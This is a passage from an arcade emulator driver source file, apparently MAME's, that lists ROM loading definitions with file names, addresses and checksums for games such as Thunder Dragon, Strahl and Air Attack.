0x00000, 0x80000, CRC(f0a782e3) SHA1(d572226b8e597f1c34d246cb284e047a6e2d9290) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0220, "proms", 0 ) ROM_LOAD( "82s135.ic94", 0x0000, 0x0100, CRC(98ed1c97) SHA1(f125ad05c3cbd1b1ab356161f9b1d814781d4c3b) ) // V-sync hw (unused) ROM_LOAD( "82s129.ic69", 0x0100, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // H-sync hw (unused) ROM_LOAD( "82s123.ic154",0x0200, 0x0020, CRC(0f789fc7) SHA1(31936c21720802da20e39b4cb030e448353e7f19) ) // ?? ROM_END ROM_START( blkheart ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "blkhrt.7", 0x00000, 0x20000, CRC(5bd248c0) SHA1(0649f4f8682404aeb3fc80643fcabc2d7836bb23) ) ROM_LOAD16_BYTE( "blkhrt.6", 0x00001, 0x20000, CRC(6449e50d) SHA1(d8cd126d921c95478346da96c20da01212395d77) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Code for (unknown?) CPU ROM_LOAD( "4.bin", 0x00000, 0x10000, CRC(7cefa295) SHA1(408f46613b3620cee31dec43281688d231b47ddd) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "3.bin", 0x000000, 0x020000, CRC(a1ab3a16) SHA1(3fb57c9d2ef94ee188cbadd70378ae6f4407e71d) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "90068-5.bin", 0x000000, 0x100000, CRC(a1ab4f24) SHA1(b9f8104d53eda87ccd4000d049ee74ac9aa20b3e) ) // 16x16 tiles ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "90068-8.bin", 0x000000, 0x100000, CRC(9d3204b2) SHA1(b37a246ad37f9ce092b371f01122ddf2bc8b2db6) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "90068-2.bin", 0x00000, 0x80000, CRC(3a583184) SHA1(9226f1ea7725e4b48bb055d1c17389cf960d75f8) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "90068-1.bin", 0x00000, 0x80000, CRC(e7af69d2) SHA1(da050880e186954bcf0e0adf00750dd5a371551b) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "9.bpr", 0x0000, 0x0100, CRC(98ed1c97) SHA1(f125ad05c3cbd1b1ab356161f9b1d814781d4c3b) ) // unknown ROM_LOAD( "10.bpr", 0x0100, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_END ROM_START( blkheartj ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "7.bin", 0x00000, 0x20000, CRC(e0a5c667) SHA1(3ef39b2dc1f7ffdddf586f0b3080ecd1f362ec37) ) ROM_LOAD16_BYTE( "6.bin", 0x00001, 0x20000, CRC(7cce45e8) SHA1(72491e30d1f9be2eede21fdde5a7484d4f65cfbf) ) ROM_REGION( 0x10000, "audiocpu", 0 ) // Code for (unknown?) CPU ROM_LOAD( "4.bin", 0x00000, 0x10000, CRC(7cefa295) SHA1(408f46613b3620cee31dec43281688d231b47ddd) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "3.bin", 0x000000, 0x020000, CRC(a1ab3a16) SHA1(3fb57c9d2ef94ee188cbadd70378ae6f4407e71d) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "90068-5.bin", 0x000000, 0x100000, CRC(a1ab4f24) SHA1(b9f8104d53eda87ccd4000d049ee74ac9aa20b3e) ) // 16x16 tiles ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "90068-8.bin", 0x000000, 0x100000, CRC(9d3204b2) SHA1(b37a246ad37f9ce092b371f01122ddf2bc8b2db6) ) // Sprites ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "90068-2.bin", 0x00000, 0x80000, CRC(3a583184) SHA1(9226f1ea7725e4b48bb055d1c17389cf960d75f8) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "90068-1.bin", 0x00000, 0x80000, CRC(e7af69d2) SHA1(da050880e186954bcf0e0adf00750dd5a371551b) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "9.bpr", 0x0000, 0x0100, CRC(98ed1c97) SHA1(f125ad05c3cbd1b1ab356161f9b1d814781d4c3b) ) // unknown ROM_LOAD( "10.bpr", 0x0100, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_END ROM_START( tdragon ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code -bitswapped- ROM_LOAD16_BYTE( "91070_68k.8", 0x00000, 0x20000, CRC(121c3ae7) SHA1(b88446df3b177d40e0b59a481f8e4de212e3afbc) ) ROM_LOAD16_BYTE( "91070_68k.7", 0x00001, 0x20000, CRC(6e154d8e) SHA1(29baea24d670ab63149efe281de25cca15b7b863) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "91070.6", 0x000000, 0x20000, CRC(fe365920) SHA1(7581931cb95cd5a8ed40e4f5385b533e3d19af22) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "91070.5", 0x000000, 0x100000, CRC(d0bde826) SHA1(3b74d5fc88a4a9329e101ee72f393608d327d816) ) // 16x16 tiles ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "91070.4", 0x000000, 0x100000, CRC(3eedc2fe) SHA1(9f48986c231a8fbc07f2b39b2017d1e967b2ed3c) ) // Sprites ROM_REGION( 0x010000, "audiocpu", 0 ) // Code for (unknown?) CPU ROM_LOAD( "91070.1", 0x00000, 0x10000, CRC(bf493d74) SHA1(6f8f5eff4b71fb6cabda10075cfa88a3f607859e) ) ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "91070.3", 0x00000, 0x80000, CRC(ae6875a8) SHA1(bfdb350b3d3fce2bead1ac60875beafe427765ed) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "91070.2", 0x00000, 0x80000, CRC(ecfea43e) SHA1(d664dfa6698fec8e602523bdae16068f1ff6547b) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "91070.9", 0x0000, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_LOAD( "91070.10", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_END ROM_START( tdragon1 ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code -bitswapped- ROM_LOAD16_BYTE( "thund.8", 0x00000, 0x20000, CRC(edd02831) SHA1(d6bc8d2c37707768a8bf666090f33eea12dda336) ) ROM_LOAD16_BYTE( "thund.7", 0x00001, 0x20000, CRC(52192fe5) SHA1(9afef197410e7feb71dc48003e181fbbaf5c99b2) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "91070.6", 0x000000, 0x20000, CRC(fe365920) SHA1(7581931cb95cd5a8ed40e4f5385b533e3d19af22) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "91070.5", 0x000000, 0x100000, CRC(d0bde826) SHA1(3b74d5fc88a4a9329e101ee72f393608d327d816) ) // 16x16 tiles ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "91070.4", 0x000000, 0x100000, CRC(3eedc2fe) SHA1(9f48986c231a8fbc07f2b39b2017d1e967b2ed3c) ) // Sprites ROM_REGION( 0x010000, "audiocpu", 0 ) // Code for (unknown?) CPU ROM_LOAD( "91070.1", 0x00000, 0x10000, CRC(bf493d74) SHA1(6f8f5eff4b71fb6cabda10075cfa88a3f607859e) ) ROM_REGION( 0x080000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "91070.3", 0x00000, 0x80000, CRC(ae6875a8) SHA1(bfdb350b3d3fce2bead1ac60875beafe427765ed) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x080000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "91070.2", 0x00000, 0x80000, CRC(ecfea43e) SHA1(d664dfa6698fec8e602523bdae16068f1ff6547b) ) // 0x20000 - 0x80000 banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "91070.9", 0x0000, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_LOAD( "91070.10", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_END ROM_START( tdragonb ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code -bitswapped- ROM_LOAD16_BYTE( "td_04.bin", 0x00000, 0x20000, CRC(e8a62d3e) SHA1(dd221bcd80149fffb1bdddfd3d394996bd2f8ec5) ) ROM_LOAD16_BYTE( "td_03.bin", 0x00001, 0x20000, CRC(2fa1aa04) SHA1(ddf2b2ff179c31a1677d15d0403b00d77f9f0a6c) ) ROM_REGION(0x20000, "audiocpu", 0 ) // 64k for sound CPU code ROM_LOAD( "td_02.bin", 0x00000, 0x8000, CRC(99ee7505) SHA1(b97c8ee5e26e8554b5de506fba3b32cc2fde53c9) ) ROM_CONTINUE( 0x010000, 0x08000 ) ROM_COPY( "audiocpu", 0x000000, 0x018000, 0x08000 ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "td_08.bin", 0x000000, 0x20000, CRC(5144dc69) SHA1(e64d88dc0e7672f811868621f74ec209aeafbc6f) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "td_06.bin", 0x000000, 0x80000, CRC(c1be8a4d) SHA1(6269fd7fccf1546a01bab755d8b6b7dcffc1166e) ) // 16x16 tiles ROM_LOAD( "td_07.bin", 0x080000, 0x80000, CRC(2c3e371f) SHA1(77956425661f4f81c370fff63845d42057fcaec3) ) // 16x16 tiles ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "td_10.bin", 0x000000, 0x080000, CRC(bfd0ec5d) SHA1(7983661f74e8695f56e45c6e5c278d7d86431052) ) // Sprites ROM_LOAD16_BYTE( "td_09.bin", 0x000001, 0x080000, CRC(b6e074eb) SHA1(bdde068f03415391b5edaa42f1389df0f7eef899) ) // Sprites ROM_REGION( 0x040000, "oki", 0 ) // OKIM6295 samples ROM_LOAD( "td_01.bin", 0x00000, 0x10000, CRC(f6f6c4bf) SHA1(ea4cf74d968e254ae47c16c2f4c2f4bc1a528808) ) ROM_END ROM_START( tdragonb2 ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "a4", 0x00000, 0x20000, CRC(0cd0581b) SHA1(334f0f04623dbef6ab0d647b2da9c49c56e998a5) ) ROM_LOAD16_BYTE( "a3", 0x00001, 0x20000, CRC(f9088e22) SHA1(71c5bcec280e36a72ae3c85a854c24bba55f0863) ) ROM_REGION( 0x20000, "fgtile", 0 ) ROM_LOAD( "1", 0x00000, 0x20000, CRC(fe365920) SHA1(7581931cb95cd5a8ed40e4f5385b533e3d19af22) ) ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "a2a205", 0x000000, 0x100000, CRC(d0bde826) SHA1(3b74d5fc88a4a9329e101ee72f393608d327d816) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "shinea2a2-04", 0x000000, 0x100000, CRC(3eedc2fe) SHA1(9f48986c231a8fbc07f2b39b2017d1e967b2ed3c) ) ROM_REGION( 0x80000, "oki", 0 ) ROM_LOAD( "shinea2a2-01", 0x00000, 0x80000, CRC(4556e717) SHA1(efdec7c989436f97e8f18b157bfd5f9da55b29ba) ) ROM_END ROM_START( ssmissin ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "ssm14.165", 0x00001, 0x20000, CRC(eda61b74) SHA1(6247682c27d2be7dff1fad407ccf86fe2a25f11c) ) ROM_LOAD16_BYTE( "ssm15.166", 0x00000, 0x20000, CRC(aff15927) SHA1(258c2722ac7ca50360bfefa7b4e621373975a835) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "ssm16.172", 0x000000, 0x20000, CRC(5cf6eb1f) SHA1(d406b11cf06ae1afc57a50685689e358e5677a45) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "ssm17.147", 0x000000, 0x080000, CRC(c9c28455) SHA1(6a3e754aff3f368bde0e8905c33074084ad6ac30) ) // 16x16 tiles ROM_LOAD( "ssm18.148", 0x080000, 0x080000, CRC(ebfdaad6) SHA1(0814cdfe83f36a7dd7b5416f9d0478192733dac0) ) // 16x16 tiles ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "ssm20.34", 0x000001, 0x080000, CRC(a0c16c4d) SHA1(e198f69b4d8660e33851a2631b5411611b1b2ea6) ) // 16x16 tiles ROM_LOAD16_BYTE( "ssm19.33", 0x000000, 0x080000, CRC(b1943657) SHA1(97c05483b634315af338434bd2f565cc151a7283) ) // 16x16 tiles ROM_REGION( 0x010000, "audiocpu", 0 ) // Code for Sound CPU ROM_LOAD( "ssm11.188", 0x00000, 0x08000, CRC(8be6dce3) SHA1(d9a235c36e0bc44025c291247d6b0b753e4bc0c8) ) ROM_REGION( 0x100000, "oki1", 0 ) // OKIM6295 samples? ROM_LOAD( "ssm13.190", 0x00000, 0x20000, CRC(618f66f0) SHA1(97637a03d9fd82305e872e9bfa489862c974bb6c) ) ROM_LOAD( "ssm12.189", 0x80000, 0x80000, CRC(e8219c83) SHA1(68673d071a58ca2bfd2de344a830417d10bc5757) ) // banked ROM_REGION( 0x0300, "proms", 0 ) ROM_LOAD( "ssm-pr2.113", 0x0000, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_LOAD( "ssm-pr1.114", 0x0100, 0x0200, CRC(ed0bd072) SHA1(66a6d435d8587c82ae96dd09c39ed5749fe00e24) ) // unknown ROM_END /* Air Attack Comad, 1996 68000 @ 8MHz Z80A @ 2MHz [8/4] M6295 @ 1MHz [8/8]. Pin 7 HIGH VSync 50Hz HSync 15.35kHz XTALs 8MHz (for 68000/Z80/M6295), 12MHz (for FPGAs) 2x 62256 RAM (main program RAM) 4x 62256 RAM (graphics) 2x 6264 RAM (graphics) 1x 6116 RAM (sound program) 6x 6116 RAM (other/ shared RAM etc) 2x PROMs 1x Lattice pLSI1032 FPGA 1x Actel 1020B FPGA */ ROM_START( airattck ) ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "ue10.bin", 0x000000, 0x20000, CRC(71deb9d8) SHA1(21da5a68a13c9017d787e88f7b293f263fbc6b20) ) ROM_LOAD16_BYTE( "uc10.bin", 0x000001, 0x20000, CRC(1837d4ba) SHA1(8dd5636a3a75c5d25d8850381e566a150ddc8ef1) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "4.ul10", 0x000000, 0x20000, CRC(e9362ab4) SHA1(d3e7d90e459bd4a80a189cc77821a6668103a640) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "9.uw9", 0x000000, 0x80000, CRC(86e59966) SHA1(50944dddb4c9f28e6f9b7c610a205310f4d7a076) ) ROM_LOAD( "10.ux9", 0x080000, 0x80000, CRC(122c8d04) SHA1(70a348b1a94f1bc69532ba92dafc91a2c0e41d58) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "7.uo81", 0x000000, 0x80000, CRC(3c38d671) SHA1(f9c9aaa1622ee0c20f569f6048e2b78bd507a1e5) ) // 16x16 tiles ROM_LOAD16_BYTE( "8.uo82", 0x000001, 0x80000, CRC(9a83e3d8) SHA1(c765c4d278cc7f54ccdf6f00f8c6902a56abc2b8) ) // 16x16 tiles ROM_REGION( 0x010000, "audiocpu", 0 ) // Code for Sound CPU ROM_LOAD( "3.su6", 0x000000, 0x08000, CRC(3e352370) SHA1(6e84881dc0b09a23f8b589431005459adc334c34) ) ROM_REGION( 0x100000, "oki1", 0 ) // Samples ROM_LOAD( "2.su12", 0x000000, 0x20000, CRC(93ab615b) SHA1(f670ac60f5f88148e55200e5e3591aa18b81c325) ) ROM_LOAD( "1.su13", 0x080000, 0x80000, CRC(09a836bb) SHA1(43fbd35c2ef3d201a4c82b0d3b7d7b971b385a14) ) ROM_REGION( 0x0300, "proms", 0 ) ROM_LOAD( "82s129.ug6", 0x0000, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_LOAD( "82s147.uh6", 0x0100, 0x0200, CRC(ed0bd072) SHA1(66a6d435d8587c82ae96dd09c39ed5749fe00e24) ) // unknown ROM_END ROM_START( airattcka ) ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "6.uc10", 0x000000, 0x20000, CRC(3572baf0) SHA1(0a2fe3be16d95896dc757ef231b3708093fc7ffa) ) ROM_LOAD16_BYTE( "5.ue10", 0x000001, 0x20000, CRC(6589c005) SHA1(350a7b8685cacde6b72c10458c33962c5a45a255) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "4.ul10", 0x000000, 0x20000, CRC(e9362ab4) SHA1(d3e7d90e459bd4a80a189cc77821a6668103a640) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "9.uw9", 0x000000, 0x80000, CRC(86e59966) SHA1(50944dddb4c9f28e6f9b7c610a205310f4d7a076) ) ROM_LOAD( "10.ux9", 0x080000, 0x80000, CRC(122c8d04) SHA1(70a348b1a94f1bc69532ba92dafc91a2c0e41d58) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "7.uo81", 0x000000, 0x80000, CRC(3c38d671) SHA1(f9c9aaa1622ee0c20f569f6048e2b78bd507a1e5) ) // 16x16 tiles ROM_LOAD16_BYTE( "8.uo82", 0x000001, 0x80000, CRC(9a83e3d8) SHA1(c765c4d278cc7f54ccdf6f00f8c6902a56abc2b8) ) // 16x16 tiles ROM_REGION( 0x010000, "audiocpu", 0 ) // Code for Sound CPU ROM_LOAD( "3.su6", 0x000000, 0x08000, CRC(3e352370) SHA1(6e84881dc0b09a23f8b589431005459adc334c34) ) ROM_REGION( 0x100000, "oki1", 0 ) // Samples ROM_LOAD( "2.su12", 0x000000, 0x20000, CRC(93ab615b) SHA1(f670ac60f5f88148e55200e5e3591aa18b81c325) ) ROM_LOAD( "1.su13", 0x080000, 0x80000, CRC(09a836bb) SHA1(43fbd35c2ef3d201a4c82b0d3b7d7b971b385a14) ) ROM_REGION( 0x0300, "proms", 0 ) ROM_LOAD( "82s129.ug6", 0x0000, 0x0100, CRC(cfdbb86c) SHA1(588822f6308a860937349c9106c2b4b1a75823ec) ) // unknown ROM_LOAD( "82s147.uh6", 0x0100, 0x0200, CRC(ed0bd072) SHA1(66a6d435d8587c82ae96dd09c39ed5749fe00e24) ) // unknown ROM_END ROM_START( strahl ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "strahl-02.ic82", 0x00000, 0x20000, CRC(e6709a0d) SHA1(ec5741f6a708ac2a6831fb65198d81dc7e6c5aea) ) ROM_LOAD16_BYTE( "strahl-01.ic83", 0x00001, 0x20000, CRC(bfd021cf) SHA1(fcf252c42a58e2f7e9982869931447ee8aa5baaa) ) ROM_REGION( 0x20000, "fgtile", 0 ) ROM_LOAD( "strahl-3.73", 0x000000, 0x10000, CRC(2273b33e) SHA1(fa53e91b80dfea3f8b2c1f0ce66e5c6920c4960f) ) // Characters ROM_REGION( 0x40000, "bgtile", 0 ) ROM_LOAD( "str7b2r0.275", 0x000000, 0x40000, CRC(5769e3e1) SHA1(7d7a16b11027d0a7618df1ec1e3484224b772e90) ) // Tiles ROM_REGION( 0x180000, "sprites", 0 ) ROM_LOAD( "strl3-01.32", 0x000000, 0x80000, CRC(d8337f15) SHA1(4df23fff2506b66a94dae4e0cf7d25499936b942) ) // Sprites ROM_LOAD( "strl4-02.57", 0x080000, 0x80000, CRC(2a38552b) SHA1(82335fc6aa3de9145dd84952e5ed423493bf7141) ) ROM_LOAD( "strl5-03.58", 0x100000, 0x80000, CRC(a0e7d210) SHA1(96a762a3a1cdeaa91bde50429e0ac665fb81190b) ) ROM_REGION( 0x80000, "gfx4", 0 ) ROM_LOAD( "str6b1w1.776", 0x000000, 0x80000, CRC(bb1bb155) SHA1(83a02e89180e15f0e7817e0e92b4bf4e209bb69a) ) // Tiles ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "strahl-4.66", 0x00000, 0x10000, CRC(60a799c4) SHA1(8ade3cf827a389f7cb4080957dc4d67077ea4166) ) ROM_REGION( 0xa0000, "oki1", 0 ) // Oki sample data ROM_LOAD( "str8pmw1.540", 0x00000, 0x20000, CRC(01d6bb6a) SHA1(b157f6f921483ed8067a7e13e370f73fdb60d136) ) // this is a mess ROM_CONTINUE( 0x60000, 0x20000 ) // banked ROM_CONTINUE( 0x40000, 0x20000 ) // banked ROM_CONTINUE( 0x20000, 0x20000 ) // banked ROM_REGION( 0xa0000, "oki2", 0 ) // Oki sample data ROM_LOAD( "str9pew1.639", 0x00000, 0x20000, CRC(6bb3eb9f) SHA1(9c1394df4f8a08f9098c85eb3d38fb862d6eabbb) ) // this is a mess ROM_CONTINUE( 0x60000, 0x20000 ) // banked ROM_CONTINUE( 0x40000, 0x20000 ) // banked ROM_CONTINUE( 0x20000, 0x20000 ) // banked ROM_END ROM_START( strahlj ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "strahl-2.82", 0x00000, 0x20000, CRC(c9d008ae) SHA1(e9218a3143d5887e702df051354a9083a806c69c) ) ROM_LOAD16_BYTE( "strahl-1.83", 0x00001, 0x20000, CRC(afc3c4d6) SHA1(ab3dd7db692eb01e3a87f4216d322a702f3beaad) ) ROM_REGION( 0x20000, "fgtile", 0 ) ROM_LOAD( "strahl-3.73", 0x000000, 0x10000, CRC(2273b33e) SHA1(fa53e91b80dfea3f8b2c1f0ce66e5c6920c4960f) ) // Characters ROM_REGION( 0x40000, "bgtile", 0 ) ROM_LOAD( "str7b2r0.275", 0x000000, 0x40000, CRC(5769e3e1) SHA1(7d7a16b11027d0a7618df1ec1e3484224b772e90) ) // Tiles ROM_REGION( 0x180000, "sprites", 0 ) ROM_LOAD( "strl3-01.32", 0x000000, 0x80000, CRC(d8337f15) SHA1(4df23fff2506b66a94dae4e0cf7d25499936b942) ) // Sprites ROM_LOAD( "strl4-02.57", 0x080000, 0x80000, CRC(2a38552b) SHA1(82335fc6aa3de9145dd84952e5ed423493bf7141) ) ROM_LOAD( "strl5-03.58", 0x100000, 0x80000, CRC(a0e7d210) SHA1(96a762a3a1cdeaa91bde50429e0ac665fb81190b) ) ROM_REGION( 0x80000, "gfx4", 0 ) ROM_LOAD( "str6b1w1.776", 0x000000, 0x80000, CRC(bb1bb155) SHA1(83a02e89180e15f0e7817e0e92b4bf4e209bb69a) ) // Tiles ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "strahl-4.66", 0x00000, 0x10000, CRC(60a799c4) SHA1(8ade3cf827a389f7cb4080957dc4d67077ea4166) ) ROM_REGION( 0xa0000, "oki1", 0 ) // Oki sample data ROM_LOAD( "str8pmw1.540", 0x00000, 0x20000, CRC(01d6bb6a) SHA1(b157f6f921483ed8067a7e13e370f73fdb60d136) ) // this is a mess ROM_CONTINUE( 0x60000, 0x20000 ) // banked ROM_CONTINUE( 0x40000, 0x20000 ) // banked ROM_CONTINUE( 0x20000, 0x20000 ) // banked ROM_REGION( 0xa0000, "oki2", 0 ) // Oki sample data ROM_LOAD( "str9pew1.639", 0x00000, 0x20000, CRC(6bb3eb9f) SHA1(9c1394df4f8a08f9098c85eb3d38fb862d6eabbb) ) // this is a mess ROM_CONTINUE( 0x60000, 0x20000 ) // banked ROM_CONTINUE( 0x40000, 0x20000 ) // banked ROM_CONTINUE( 0x20000, 0x20000 ) // banked ROM_END ROM_START( strahlja ) ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "rom2", 0x00000, 0x20000, CRC(f80a22ef) SHA1(22099eb0bbb445702e0276713c3e48d60de60c30) ) ROM_LOAD16_BYTE( "rom1", 0x00001, 0x20000, CRC(802ecbfc) SHA1(cc776023c7bd6b6d6af9659a0c822a2887e50199) ) ROM_REGION( 0x20000, "fgtile", 0 ) ROM_LOAD( "strahl-3.73", 0x000000, 0x10000, CRC(2273b33e) SHA1(fa53e91b80dfea3f8b2c1f0ce66e5c6920c4960f) ) // Characters ROM_REGION( 0x40000, "bgtile", 0 ) ROM_LOAD( "str7b2r0.275", 0x000000, 0x40000, CRC(5769e3e1) SHA1(7d7a16b11027d0a7618df1ec1e3484224b772e90) ) // Tiles ROM_REGION( 0x180000, "sprites", 0 ) ROM_LOAD( "strl3-01.32", 0x000000, 0x80000, CRC(d8337f15) SHA1(4df23fff2506b66a94dae4e0cf7d25499936b942) ) // Sprites ROM_LOAD( "strl4-02.57", 0x080000, 0x80000, CRC(2a38552b) SHA1(82335fc6aa3de9145dd84952e5ed423493bf7141) ) ROM_LOAD( "strl5-03.58", 0x100000, 0x80000, CRC(a0e7d210) SHA1(96a762a3a1cdeaa91bde50429e0ac665fb81190b) ) ROM_REGION( 0x80000, "gfx4", 0 ) ROM_LOAD( "str6b1w1.776", 0x000000, 0x80000, CRC(bb1bb155) SHA1(83a02e89180e15f0e7817e0e92b4bf4e209bb69a) ) // Tiles ROM_REGION( 0x10000, "audiocpu", 0 ) ROM_LOAD( "strahl-4.66", 0x00000, 0x10000, CRC(60a799c4) SHA1(8ade3cf827a389f7cb4080957dc4d67077ea4166) ) ROM_REGION( 0xa0000, "oki1", 0 ) // Oki sample data ROM_LOAD( "str8pmw1.540", 0x00000, 0x20000, CRC(01d6bb6a) SHA1(b157f6f921483ed8067a7e13e370f73fdb60d136) ) // this is a mess ROM_CONTINUE( 0x60000, 0x20000 ) // banked ROM_CONTINUE( 0x40000, 0x20000 ) // banked ROM_CONTINUE( 0x20000, 0x20000 ) // banked ROM_REGION( 0xa0000, "oki2", 0 ) // Oki sample data ROM_LOAD( "str9pew1.639", 0x00000, 0x20000, CRC(6bb3eb9f) SHA1(9c1394df4f8a08f9098c85eb3d38fb862d6eabbb) ) // this is a mess ROM_CONTINUE( 0x60000, 0x20000 ) // banked ROM_CONTINUE( 0x40000, 0x20000 ) // banked ROM_CONTINUE( 0x20000, 0x20000 ) // banked ROM_END ROM_START( strahljbl ) // N0 892 PCB, this bootleg uses SEIBU sound system ROM_REGION( 0x40000, "maincpu", 0 ) ROM_LOAD16_BYTE( "a7.u3", 0x00000, 0x20000, CRC(3ddca4f7) SHA1(83ab6278fced912759c20eba6254bc544dc1ffdf) ) ROM_LOAD16_BYTE( "a8.u2", 0x00001, 0x20000, CRC(890f74d0) SHA1(50c4781642cb95c82d1a4d2e8e8d0be2baea29a7) ) ROM_REGION( 0x20000, "fgtile", 0 ) // same as original ROM_LOAD( "cha.38", 0x000000, 0x10000, CRC(2273b33e) SHA1(fa53e91b80dfea3f8b2c1f0ce66e5c6920c4960f) ) // Characters ROM_REGION( 0x40000, "bgtile", 0 ) // same as original ROM_LOAD( "6.2m", 0x000000, 0x40000, CRC(5769e3e1) SHA1(7d7a16b11027d0a7618df1ec1e3484224b772e90) ) // Tiles ROM_REGION( 0x180000, "sprites", 0 ) // same as original, just a bigger ROM ROM_LOAD( "d.8m", 0x000000, 0x100000, CRC(09ede4d4) SHA1(5c5dcc57f78145b9c6e711a32afc0aab7a5a0450) ) ROM_LOAD( "5.4m", 0x100000, 0x080000, CRC(a0e7d210) SHA1(96a762a3a1cdeaa91bde50429e0ac665fb81190b) ) ROM_REGION( 0x80000, "gfx4", 0 ) // same as original ROM_LOAD( "4.4m", 0x000000, 0x80000, CRC(bb1bb155) SHA1(83a02e89180e15f0e7817e0e92b4bf4e209bb69a) ) // Tiles ROM_REGION(0x20000, "audiocpu", 0 ) ROM_LOAD( "a6.u417", 0x000000, 0x08000, CRC(99ee7505) SHA1(b97c8ee5e26e8554b5de506fba3b32cc2fde53c9) ) ROM_CONTINUE( 0x010000, 0x08000 ) ROM_COPY( "audiocpu", 0x000000, 0x018000, 0x08000 ) ROM_REGION( 0x40000, "oki", 0 ) ROM_LOAD( "a5.u304", 0x00000, 0x10000, CRC(f6f6c4bf) SHA1(ea4cf74d968e254ae47c16c2f4c2f4bc1a528808) ) ROM_REGION( 0x800, "p_rom", 0 ) // not used by the emulation ROM_LOAD( "129.u28", 0x0000, 0x800, CRC(034f68ca) SHA1(377d0951f96d81d389aa96e2f7912a89a136d357) ) ROM_END ROM_START( hachamf ) ROM_REGION( 0x40000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "7.93", 0x00000, 0x20000, CRC(9d847c31) SHA1(1d370d8db9cadadb9c2cb213e32f681947d81b7f) ) // internally reports as 19th Sep. 1991 